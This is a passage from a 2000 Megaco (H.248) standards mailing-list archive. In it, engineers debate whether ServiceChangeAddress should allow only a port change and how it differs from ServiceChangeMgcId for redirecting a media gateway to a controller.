<br><font size=-1>> address (or route) in</font>
<br><font size=-1>> 2, you need to perform name resolution in the cases
where the</font>
<br><font size=-1>> name itself is</font>
<br><font size=-1>> not an address. For domain names, this name resolution
is</font>
<br><font size=-1>> achieved by DNS,</font>
<br><font size=-1>> for IP-addresses, it should normally be a NOP. By having
both</font>
<br><font size=-1>> ServiceChangeMGGId and ServiceChangeAddress, you are</font>
<br><font size=-1>> effectively providing</font>
<br><font size=-1>> an alternate name resolution mechanism which overrides
DNS</font>
<br><font size=-1>> and allows one</font>
<br><font size=-1>> IP-address to map to another. We should not be doing
that,</font>
<br><font size=-1>> and I also note</font>
<br><font size=-1>> that this was probably not the authors' intent, since</font>
<br><font size=-1>> ServiceChangeAddress</font>
<br><font size=-1>> and ServiceChangeMGCId are not both allowed in a single
command.</font>
<br><font size=-1>></font>
<br><font size=-1>> That still leaves open the question of exactly what</font>
<br><font size=-1>> ServiceChangeAddress</font>
<br><font size=-1>> then is, and I believe Brian answered that earlier
with his</font>
<br><font size=-1>> two proposals.</font>
<br><font size=-1>> In a perfect world, I would prefer getting rid of</font>
<br><font size=-1>> ServiceChangeAddress, but</font>
<br><font size=-1>> we may be beyond that. Does it make sense to allow
just a</font>
<br><font size=-1>> port number then ?</font>
<br><font size=-1>> Considering that we already allow for port in mId,
port is</font>
<br><font size=-1>> part of the name</font>
<br><font size=-1>> and for the same reasons as we shouldn't map one IP-address</font>
<br><font size=-1>> to another, we</font>
<br><font size=-1>> shouldn't map one port to another either IMO. If the
MGC (or</font>
<br><font size=-1>> MG) wants the</font>
<br><font size=-1>> other party to talk to it on another port, it simply
sends</font>
<br><font size=-1>> back another</font>
<br><font size=-1>> ServiceChangeMGCId with that port number in it.</font>
<br><font size=-1>></font>
<br><font size=-1>> -- Flemming</font>
<br><font size=-1>></font>
<br><font size=-1>></font>
<br><font size=-1>></font>
<br><font size=-1>> "Rosen, Brian" wrote:</font>
<br><font size=-1>></font>
<br><font size=-1>> > It depends on what you want to have happen.</font>
<br><font size=-1>> ></font>
<br><font size=-1>> > If you want the MG, on receipt of a reply with a</font>
<br><font size=-1>> ServiceChangeAddress,</font>
<br><font size=-1>> > to tear down it's current transport connection, create
a new one,</font>
<br><font size=-1>> > and stand by for messages from the MGC, then I suppose
you would be</font>
<br><font size=-1>> > correct.</font>
<br><font size=-1>> ></font>
<br><font size=-1>> > If it was TCP (and I guess SCTP), this is pretty
weird, because the</font>
<br><font size=-1>> > MG established a full duplex connection, but the
next message is</font>
<br><font size=-1>> > almost certainly from the MGC.&nbsp; The MGC is going
to have to</font>
<br><font size=-1>> watch for</font>
<br><font size=-1>> > this carefully, and not send messages until the new
channel is up.</font>
<br><font size=-1>> ></font>
<br><font size=-1>> > Or, the MGC can just use ServiceChangeMid.&nbsp;
The MG will respond by</font>
<br><font size=-1>> > tearing down the transport, establishing a new one,
and sending</font>
<br><font size=-1>> > a new ServiceChange.&nbsp; The MGC "fires and forgets"
-- the new</font>
<br><font size=-1>> > ServiceChange, at the "new" address, looks like a
complete</font>
<br><font size=-1>> new start.</font>
<br><font size=-1>> ></font>
<br><font size=-1>> > Brian</font>
<br><font size=-1>> ></font>
<br><font size=-1>> > -----Original Message-----</font>
<br><font size=-1>> > From: Christian Groves</font>
<br><font size=-1>> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM</font>
<br><font size=-1>> > Sent: 9/3/00 7:38 PM</font>
<br><font size=-1>> > Subject: Re: Supplying only a port on a ServiceChangeAddress</font>
<br><font size=-1>> ></font>
<br><font size=-1>> > G'Day Brian and Flemming,</font>
<br><font size=-1>> ></font>
<br><font size=-1>> > I saw that the difference between when you use</font>
<br><font size=-1>> ServiceChangeAddress and</font>
<br><font size=-1>> > ServiceChangeMid was that the ServiceChangeAddress
was used</font>
<br><font size=-1>> when talking</font>
<br><font size=-1>> > to an already contacted physical MGC. The ServiceChangeMid</font>
<br><font size=-1>> was used to</font>
<br><font size=-1>> > contact a physically seperate MGC. So I don't see
the need of</font>
<br><font size=-1>> > disallowing anything but the port in IP as the MGC
may have</font>
<br><font size=-1>> a range of</font>
<br><font size=-1>> > addresses.</font>
<br><font size=-1>> ></font>
<br><font size=-1>> > Cheers, Christian</font>
<br><font size=-1>> ></font>
<br><font size=-1>> > "Rosen, Brian" wrote:</font>
<br><font size=-1>> > ></font>
<br><font size=-1>> > > I thought you might say that, I've been thinking
about it</font>
<br><font size=-1>> > > since I sent the message.</font>
<br><font size=-1>> > ></font>
<br><font size=-1>> > > Posing the question slightly differently, if the</font>
<br><font size=-1>> ServiceChangeAddress</font>
<br><font size=-1>> > > can do what ServiceChangeMid can do, so why have
two mechanisms?</font>
<br><font size=-1>> > > The only difference would be the MGs actions.&nbsp;
If you used</font>
<br><font size=-1>> > > ServiceChangeAddress,</font>
<br><font size=-1>> > > the MG would not send a new ServiceChange command
to the</font>
<br><font size=-1>> new address.</font>
<br><font size=-1>> > > If you used ServiceChangeMid, it would.&nbsp; The
end result</font>
<br><font size=-1>> would be the</font>
<br><font size=-1>> > same.</font>
<br><font size=-1>> > ></font>
<br><font size=-1>> > > We can:</font>
<br><font size=-1>> > >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Explicitly disallow ServiceChangeAddress from</font>
<br><font size=-1>> being used to</font>
<br><font size=-1>> > >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
change anything but IP Port when used with IP</font>
<br><font size=-1>> > >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Get rid of one of the two of them</font>
<br><font size=-1>> > ></font>
<br><font size=-1>> > > I favor the former, as that is easiest, is most
consistent with</font>
<br><font size=-1>> > > history, and makes the most sense to me.&nbsp;
I'll note that what</font>
<br><font size=-1>> > > we call ServiceChangeAddress used to be "port".&nbsp;
It got</font>
<br><font size=-1>> > > changed when we realized "port" wouldn't make sense
if it was</font>
<br><font size=-1>> > > not an IP transport.</font>
<br><font size=-1>> > ></font>
<br><font size=-1>> > > Brian</font>
<br><font size=-1>> > ></font>
<br><font size=-1>> > > > -----Original Message-----</font>
<br><font size=-1>> > > > From: Flemming Andreasen [<a href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</a>]</font>
<br><font size=-1>> > > > Sent: Tuesday, August 29, 2000 7:37 PM</font>
<br><font size=-1>> > > > To: Rosen, Brian</font>
<br><font size=-1>> > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM</font>
<br><font size=-1>> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress</font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > > "Rosen, Brian" wrote:</font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > > > I think the issue is that you can have the
same MGC</font>
<br><font size=-1>> have multiple</font>
<br><font size=-1>> > > > > IP addresses.&nbsp; You accept the association,
but change</font>
<br><font size=-1>> the address.</font>
<br><font size=-1>> > > > > Say, a pool of servers appearing to be one
MGC.</font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > > I'm not sure I fully understand what an association
is then.</font>
<br><font size=-1>> > > > What's the</font>
<br><font size=-1>> > > > difference/relationship between the association
address and the</font>
<br><font size=-1>> > > > ServiceChangeMgcId (which may itself contain
an address or</font>
<br><font size=-1>> > indirectly</font>
<br><font size=-1>> > > > refer to a number of addresses through DNS) ?</font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > > -- Flemming</font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > > Brian</font>
<br><font size=-1>> > > > ></font>
<br><font size=-1>> > > > > > -----Original Message-----</font>
<br><font size=-1>> > > > > > From: Flemming Andreasen [<a href="mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</a>]</font>
<br><font size=-1>> > > > > > Sent: Tuesday, August 29, 2000 6:38 PM</font>
<br><font size=-1>> > > > > > To: Rosen, Brian</font>
<br><font size=-1>> > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM</font>
<br><font size=-1>> > > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress</font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > > "Rosen, Brian" wrote:</font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > > > Suppose all you want to specify in a ServiceChangeAddress</font>
<br><font size=-1>> > > > > > is a port number</font>
<br><font size=-1>> > > > > > > that is, the IP address doesn't change,
but the port does.</font>
<br><font size=-1>> > > > > > ></font>
<br><font size=-1>> > > > > > > The ABNF sez:</font>
<br><font size=-1>> > > > > > > serviceChangeAddress = ServiceChangeAddressToken</font>
<br><font size=-1>> EQUAL VALUE</font>
<br><font size=-1>> > > > > > ></font>
<br><font size=-1>> > > > > > > This is because it could be IP, ATM, FR,
MPLS....</font>
<br><font size=-1>> > > > > > ></font>
<br><font size=-1>> > > > > > > The example shows just a port number.</font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > > Actually, I thought that's all that would
be allowed in the</font>
<br><font size=-1>> > > > > > case of IP. If</font>
<br><font size=-1>> > > > > > not, how can it be within the "context of
the association</font>
<br><font size=-1>> > > > > > currently being</font>
<br><font size=-1>> > > > > > negotiated", and how would it then relate
to</font>
<br><font size=-1>> ServiceChangeMgcId</font>
<br><font size=-1>> > ?</font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > > -- Flemming</font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > > ></font>
<br><font size=-1>> > > > > > ></font>
<br><font size=-1>> > > > > > > Should that be legal?&nbsp; Should you
have to specify the IP</font>
<br><font size=-1>> > address</font>
<br><font size=-1>> > > > > > > as x.x.x.x:p?</font>
<br><font size=-1>> > > > > > ></font>
<br><font size=-1>> > > > > > > Brian</font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > > --</font>
<br><font size=-1>> > > > > > Flemming Andreasen</font>
<br><font size=-1>> > > > > > Cisco Systems</font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > > > ></font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > > --</font>
<br><font size=-1>> > > > Flemming Andreasen</font>
<br><font size=-1>> > > > Cisco Systems</font>
<br><font size=-1>> > > ></font>
<br><font size=-1>> > > ></font>
<br><font size=-1>></font>
<br><font size=-1>> --</font>
<br><font size=-1>> Flemming Andreasen</font>
<br><font size=-1>> Cisco Systems</font>
<br><font size=-1>></font></blockquote>

<p>--
<br>Flemming Andreasen
<br>Cisco Systems
<br>&nbsp;</html>

--------------6E313C5E7C690CF1F81F7018--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 15:09:11 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11465
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 15:09:09 -0400 (EDT)
Received: from standards (47.234.32.16:1788) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB903AF@standards.nortelnetworks.com>; Tue, 5 Sep 2000 14:54:45 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17560 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 14:54:44 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB903AE@standards.nortelnetworks.com>; Tue, 5 Sep 2000 14:54:44
          -0400
Received: from cisco.com (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id MAA16075; Tue, 5 Sep 2000 12:07:38 -0700
          (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <8BBD33A986C5D311804000902719FF5D9FB42F@aega.trillium.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B54583.E86AC5E3@cisco.com>
Date:         Tue, 5 Sep 2000 15:12:03 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Organization: Cisco Systems
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Bharat Kaul <bharat@trillium.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Bharat Kaul wrote:

> Hi Flemming, Brian and List,
>
>   ServiceChangeMGCId should be kept for contacting a new MGC or rather
> establishing new control Session.
>
> ServiceChangeAddress is for redirection within a MGC e.g. MG contacts MGC at
> a default port and based on some policy MGC wants to assign MG to a specific
> port, it should send ServiceChangeAddress specifying the port.These two
> semantics seem clear and fair enough.

I quite frankly don't understand the need for having port as an identifier and
then being able to specify another port to override it, while keeping the
identifier port the same.


>
>
> Port in MID should be just a tool to identify an entity uniquely, with one
> requirement that MID for a control session is consistent between two
> entities.

In that case it should be called something different than a port, or at least be
treated as something different.

-- Flemming


>
>
> - Bharat
>
> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> Sent: Tuesday, September 05, 2000 8:29 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
> Let's take a step back here and ask ourselves what we are trying to achieve:
>
> 1. We have a need to identify the entity we wish to communicate with
> 2. We have a need to communicate with that entity.
>
> This is a classical naming issue that doesn't need to become overly
> complicated. In order to get from the name in 1 to the address (or route) in
> 2, you need to perform name resolution in the cases where the name itself is
> not an address. For domain names, this name resolution is achieved by DNS,
> for IP-addresses, it should normally be a NOP. By having both
> ServiceChangeMGGId and ServiceChangeAddress, you are effectively providing
> an alternate name resolution mechanism which overrides DNS and allows one
> IP-address to map to another. We should not be doing that, and I also note
> that this was probably not the authors' intent, since ServiceChangeAddress
> and ServiceChangeMGCId are not both allowed in a single command.
>
> That still leaves open the question of exactly what ServiceChangeAddress
> then is, and I believe Brian answered that earlier with his two proposals.
> In a perfect world, I would prefer getting rid of ServiceChangeAddress, but
> we may be beyond that. Does it make sense to allow just a port number then ?
> Considering that we already allow for port in mId, port is part of the name
> and for the same reasons as we shouldn't map one IP-address to another, we
> shouldn't map one port to another either IMO. If the MGC (or MG) wants the
> other party to talk to it on another port, it simply sends back another
> ServiceChangeMGCId with that port number in it.
>
> -- Flemming
>
> "Rosen, Brian" wrote:
>
> > It depends on what you want to have happen.
> >
> > If you want the MG, on receipt of a reply with a ServiceChangeAddress,
> > to tear down it's current transport connection, create a new one,
> > and stand by for messages from the MGC, then I suppose you would be
> > correct.
> >
> > If it was TCP (and I guess SCTP), this is pretty weird, because the
> > MG established a full duplex connection, but the next message is
> > almost certainly from the MGC.  The MGC is going to have to watch for
> > this carefully, and not send messages until the new channel is up.
> >
> > Or, the MGC can just use ServiceChangeMid.  The MG will respond by
> > tearing down the transport, establishing a new one, and sending
> > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > ServiceChange, at the "new" address, looks like a complete new start.
> >
> > Brian
> >
> > -----Original Message-----
> > From: Christian Groves
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Sent: 9/3/00 7:38 PM
> > Subject: Re: Supplying only a port on a ServiceChangeAddress
> >
> > G'Day Brian and Flemming,
> >
> > I saw that the difference between when you use ServiceChangeAddress and
> > ServiceChangeMid was that the ServiceChangeAddress was used when talking
> > to an already contacted physical MGC. The ServiceChangeMid was used to
> > contact a physically seperate MGC. So I don't see the need of
> > disallowing anything but the port in IP as the MGC may have a range of
> > addresses.
> >
> > Cheers, Christian
> >
> > "Rosen, Brian" wrote:
> > >
> > > I thought you might say that, I've been thinking about it
> > > since I sent the message.
> > >
> > > Posing the question slightly differently, if the ServiceChangeAddress
> > > can do what ServiceChangeMid can do, so why have two mechanisms?
> > > The only difference would be the MGs actions.  If you used
> > > ServiceChangeAddress,
> > > the MG would not send a new ServiceChange command to the new address.
> > > If you used ServiceChangeMid, it would.  The end result would be the
> > same.
> > >
> > > We can:
> > >         Explicitly disallow ServiceChangeAddress from being used to
> > >                 change anything but IP Port when used with IP
> > >         Get rid of one of the two of them
> > >
> > > I favor the former, as that is easiest, is most consistent with
> > > history, and makes the most sense to me.  I'll note that what
> > > we call ServiceChangeAddress used to be "port".  It got
> > > changed when we realized "port" wouldn't make sense if it was
> > > not an IP transport.
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > To: Rosen, Brian
> > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > >
> > > >
> > > >
> > > >
> > > > "Rosen, Brian" wrote:
> > > >
> > > > > I think the issue is that you can have the same MGC have multiple
> > > > > IP addresses.  You accept the association, but change the address.
> > > > > Say, a pool of servers appearing to be one MGC.
> > > >
> > > > I'm not sure I fully understand what an association is then.
> > > > What's the
> > > > difference/relationship between the association address and the
> > > > ServiceChangeMgcId (which may itself contain an address or
> > indirectly
> > > > refer to a number of addresses through DNS) ?
> > > >
> > > > -- Flemming
> > > >
> > > >
> > > > >
> > > > >
> > > > > Brian
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > To: Rosen, Brian
> > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > > >
> > > > > >
> > > > > >
> > > > > >
> > > > > > "Rosen, Brian" wrote:
> > > > > >
> > > > > > > Suppose all you want to specify in a ServiceChangeAddress
> > > > > > is a port number
> > > > > > > that is, the IP address doesn't change, but the port does.
> > > > > > >
> > > > > > > The ABNF sez:
> > > > > > > serviceChangeAddress = ServiceChangeAddressToken EQUAL VALUE
> > > > > > >
> > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > >
> > > > > > > The example shows just a port number.
> > > > > >
> > > > > > Actually, I thought that's all that would be allowed in the
> > > > > > case of IP. If
> > > > > > not, how can it be within the "context of the association
> > > > > > currently being
> > > > > > negotiated", and how would it then relate to ServiceChangeMgcId
> > ?
> > > > > >
> > > > > > -- Flemming
> > > > > >
> > > > > > >
> > > > > > >
> > > > > > > Should that be legal?  Should you have to specify the IP
> > address
> > > > > > > as x.x.x.x:p?
> > > > > > >
> > > > > > > Brian
> > > > > >
> > > > > > --
> > > > > > Flemming Andreasen
> > > > > > Cisco Systems
> > > > > >
> > > > > >
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > > >
>
> --
> Flemming Andreasen
> Cisco Systems

--
Flemming Andreasen
Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 15:09:13 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11475
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 5 Sep 2000 15:09:11 -0400 (EDT)
Received: from standards (47.234.32.16:1788) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB903C4@standards.nortelnetworks.com>; Tue, 5 Sep 2000 14:55:42 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 17584 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 5 Sep 2000 14:55:42 -0400
Received: from qhars002.nortel.com (47.101.112.102:55173) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB903BF@standards.nortelnetworks.com>; Tue, 5 Sep 2000
          14:55:37 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Tue, 5 Sep 2000
          20:07:58 +0100
Received: from zrtpd004.us.nortel.com by zrtps06s.us.nortel.com; Tue, 5 Sep
          2000 15:07:53 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SK4PFR7R>; Tue, 5 Sep 2000 15:07:53 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480D0E@zcard00g.ca.nortel.com>
Date:         Tue, 5 Sep 2000 15:07:43 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         "Rosen, Brian" <Brian.Rosen@marconi.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

You accept the principle that ServiceChangeMgcId implies a new control
session.  All else is implementation :-)

Mind, as I see it, ServiceChangeMgcId implies the same burden at the
transport level as ServiceChangeAddress, PLUS the application-level
ServiceChange transaction.

> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> Sent: Tuesday, September 05, 2000 2:58 PM
> To: Taylor, Tom-PT [NORSE:B901:EXCH];
> MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: RE: Supplying only a port on a ServiceChangeAddress
>
>
> The question I'm still left with is how you would actually
> achieve less overhead, given that the MG has to take the
> transport connection down, and the MGC has to watch that happen.
>
> I suspect that there is MORE work for the MGC to do that,
> rather than just tell the MG to create a new association.
> Remember that there is virtually no state that could be saved
> from the first ServiceChange, so that starting over is
> pretty low cost.
>
> The real cost is the MG sending another ServiceChange and the
> MG replying -- that's dirt cheap.  The cost of keeping the
> association, but changing the transport connection, seems
> more work to me. I'll admit that with UDP, that cost is
> close to zero also -- it's TCP (and SCTP) that has real cost.
>
> Brian
> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> Sent: Tuesday, September 05, 2000 2:38 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Supplying only a port on a ServiceChangeAddress
>
>
> As I noted in one or two previous messages,
> ServiceChangeMgcId has higher
> overhead than ServiceChangeAddress in that it implies a new
> control session.
> That is, the MG has to send a ServiceChange to the new
> address before it can
> send anything else.
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> > Sent: Tuesday, September 05, 2000 11:29 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Supplying only a port on a ServiceChangeAddress
> >
> >
> > Let's take a step back here and ask ourselves what we are
> > trying to achieve:
> >
> > 1. We have a need to identify the entity we wish to
> communicate with
> > 2. We have a need to communicate with that entity.
> >
> > This is a classical naming issue that doesn't need to become overly
> > complicated. In order to get from the name in 1 to the
> > address (or route) in
> > 2, you need to perform name resolution in the cases where the
> > name itself is
> > not an address. For domain names, this name resolution is
> > achieved by DNS,
> > for IP-addresses, it should normally be a NOP. By having both
> > ServiceChangeMGGId and ServiceChangeAddress, you are
> > effectively providing
> > an alternate name resolution mechanism which overrides DNS
> > and allows one
> > IP-address to map to another. We should not be doing that,
> > and I also note
> > that this was probably not the authors' intent, since
> > ServiceChangeAddress
> > and ServiceChangeMGCId are not both allowed in a single command.
> >
> > That still leaves open the question of exactly what
> > ServiceChangeAddress
> > then is, and I believe Brian answered that earlier with his
> > two proposals.
> > In a perfect world, I would prefer getting rid of
> > ServiceChangeAddress, but
> > we may be beyond that. Does it make sense to allow just a
> > port number then ?
> > Considering that we already allow for port in mId, port is
> > part of the name
> > and for the same reasons as we shouldn't map one IP-address
> > to another, we
> > shouldn't map one port to another either IMO. If the MGC (or
> > MG) wants the
> > other party to talk to it on another port, it simply sends
> > back another
> > ServiceChangeMGCId with that port number in it.
> >
> > -- Flemming
> >
> >
> >
> > "Rosen, Brian" wrote:
> >
> > > It depends on what you want to have happen.
> > >
> > > If you want the MG, on receipt of a reply with a
> > ServiceChangeAddress,
> > > to tear down it's current transport connection, create a new one,
> > > and stand by for messages from the MGC, then I suppose
> you would be
> > > correct.
> > >
> > > If it was TCP (and I guess SCTP), this is pretty weird,
> because the
> > > MG established a full duplex connection, but the next message is
> > > almost certainly from the MGC.  The MGC is going to have to
> > watch for
> > > this carefully, and not send messages until the new
> channel is up.
> > >
> > > Or, the MGC can just use ServiceChangeMid.  The MG will
> respond by
> > > tearing down the transport, establishing a new one, and sending
> > > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > > ServiceChange, at the "new" address, looks like a complete
> > new start.
> > >
> > > Brian
> > >
> > > -----Original Message-----
> > > From: Christian Groves
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Sent: 9/3/00 7:38 PM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > > G'Day Brian and Flemming,
> > >
> > > I saw that the difference between when you use
> > ServiceChangeAddress and
> > > ServiceChangeMid was that the ServiceChangeAddress was used
> > when talking
> > > to an already contacted physical MGC. The ServiceChangeMid
> > was used to
> > > contact a physically seperate MGC. So I don't see the need of
> > > disallowing anything but the port in IP as the MGC may have
> > a range of
> > > addresses.
> > >
> > > Cheers, Christian
> > >
> > > "Rosen, Brian" wrote:
> > > >
> > > > I thought you might say that, I've been thinking about it
> > > > since I sent the message.
> > > >
> > > > Posing the question slightly differently, if the
> > ServiceChangeAddress
> > > > can do what ServiceChangeMid can do, so why have two
> mechanisms?
> > > > The only difference would be the MGs actions.  If you used
> > > > ServiceChangeAddress,
> > > > the MG would not send a new ServiceChange command to the
> > new address.
> > > > If you used ServiceChangeMid, it would.  The end result
> > would be the
> > > same.
> > > >
> > > > We can:
> > > >         Explicitly disallow ServiceChangeAddress from
> > being used to
> > > >                 change anything but IP Port when used with IP
> > > >         Get rid of one of the two of them
> > > >
> > > > I favor the former, as that is easiest, is most consistent with
> > > > history, and makes the most sense to me.  I'll note that what
> > > > we call ServiceChangeAddress used to be "port".  It got
> > > > changed when we realized "port" wouldn't make sense if it was
> > > > not an IP transport.
> > > >
> > > > Brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > > To: Rosen, Brian
> > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > >
> > > > > > I think the issue is that you can have the same MGC
> > have multiple
> > > > > > IP addresses.  You accept the association, but change
> > the address.
> > > > > > Say, a pool of servers appearing to be one MGC.
> > > > >
> > > > > I'm not sure I fully understand what an association is then.
> > > > > What's the
> > > > > difference/relationship between the association
> address and the
> > > > > ServiceChangeMgcId (which may itself contain an address or
> > > indirectly
> > > > > refer to a number of addresses through DNS) ?
> > > > >
> > > > > -- Flemming
> > > > >
> > > > >
> > > > > >
> > > > > >
> > > > > > Brian
> > > > > >
> > > > > > > -----Original Message-----
> > > > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > > To: Rosen, Brian
> > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > Subject: Re: Supplying only a port on a
> ServiceChangeAddress
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > "Rosen, Brian" wrote:
> > > > > > >
> > > > > > > > Suppose all you want to specify in a
> ServiceChangeAddress
> > > > > > > is a port number
> > > > > > > > that is, the IP address doesn't change, but the
> port does.
> > > > > > > >
> > > > > > > > The ABNF sez:
> > > > > > > > serviceChangeAddress = ServiceChangeAddressToken
> > EQUAL VALUE
> > > > > > > >
> > > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > > >
> > > > > > > > The example shows just a port number.
> > > > > > >
> > > > > > > Actually, I thought that's all that would be
> allowed in the
> > > > > > > case of IP. If
> > > > > > > not, how can it be within the "context of the association
> > > > > > > currently being
> > > > > > > negotiated", and how would it then relate to
> > ServiceChangeMgcId
> > > ?
> > > > > > >
> > > > > > > -- Flemming
> > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > Should that be legal?  Should you have to
> specify the IP
> > > address
> > > > > > > > as x.x.x.x:p?
> > > > > > > >
> > > > > > > > Brian
> > > > > > >
> > > > > > > --
> > > > > > > Flemming Andreasen
> > > > > > > Cisco Systems
> > > > > > >
> > > > > > >
> > > > >
> > > > > --
> > > > > Flemming Andreasen
> > > > > Cisco Systems
> > > > >
> > > > >
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep  5 15:15:21 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11635
